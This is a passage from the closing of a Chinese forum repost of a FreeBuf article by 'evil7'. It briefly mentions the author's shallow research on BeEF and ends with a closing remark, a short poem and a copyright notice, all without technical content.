上 做 了 点 研 究 ， 早 就 看 过 的 大 牛 们 就 略 过 吧 。 最 后 才 补 充 了 一 点 自 己 对 b e e f 的 研 究 与 发 现 ， 暂 且 提 到 的 比 较 浅 层 ， 早 已 有 过 研 究 的 朋 友 们 也 可 以 忽 略 。 非 提 问 和 指 正 的 留 言 ， 我 就 不 回 复 了 ， 最 后 感 言 ， 就 看 看 笑 笑 好 了 ， 轻 点 喷 。 如 果 文 章 里 有 思 绪 混 乱 的 地 方 ， 欢 迎 大 家 多 多 指 正 。 炎 夏 清 风 ， 吹 霾 散 云 ， 寒 秋 有 雨 ， 雨 过 天 晴 。 * 本 文 原 创 作 者 ： e v i l 7 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理